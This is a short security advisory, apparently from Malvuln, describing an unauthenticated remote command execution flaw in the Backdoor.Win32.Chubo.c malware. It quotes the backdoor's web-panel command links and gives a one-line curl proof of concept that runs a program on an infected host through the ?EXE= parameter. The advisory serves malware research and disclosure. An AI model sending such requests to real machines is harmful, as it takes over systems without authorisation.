Backdoor.Win32.Chubo.c Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Chubo.c  
Vulnerability: Unauthenticated Remote Command Execution  
Family: Chubo  
Type: PE32  
MD5: c16b04a9879896ef453a6deb13528087  
Vuln ID: MVID-2022-0527  
Disclosure: 03/26/2022  
Description: The malware listens on TCP port 81 and 8080. There is a HTML web-panel that exposes the entire system and creates HTML links to run commands made available by the backdoor.  
  
Commands:  
  
F="./?DRV=">LIST DRIVE</A></TD>  
<TD><A HREF="./?DIR=">LIST DIRECTRY</A></TD>  
<TD><A HREF="./?MF_=">MANAGE FILE</A></TD>  
<TD><A HREF="./?UPL=">UPLOAD FILE</A></TD> </TR>  
<TR><TD><A HREF="./?EXE=">EXECUTE COMMAND</A></TD>  
<TD><A HREF="./?REG=">EDIT REGISTORY</A></TD>  
<TD><A HREF="./?SYS=">GET SYSTEM INFO</A></TD>  
<TD><A HREF="./?TGT=">SET PROXY TARGET</A></TD> </TR>  
<TR><TD><A HREF="./?SSS=">START SCREEN SAVER</A></TD>  
<TD><A HREF="./?SND=">PLAY SOUND</A></TD>  
<TD><A HREF="./?BRW=">BROWSE URL</A></TD>  
<TD><A HREF="./?SCAN=">SCAN IP</A></TD>  
  
  
Exploit/PoC:  
C:\>curl http://x.x.x.x:81/?EXE=calc  
  
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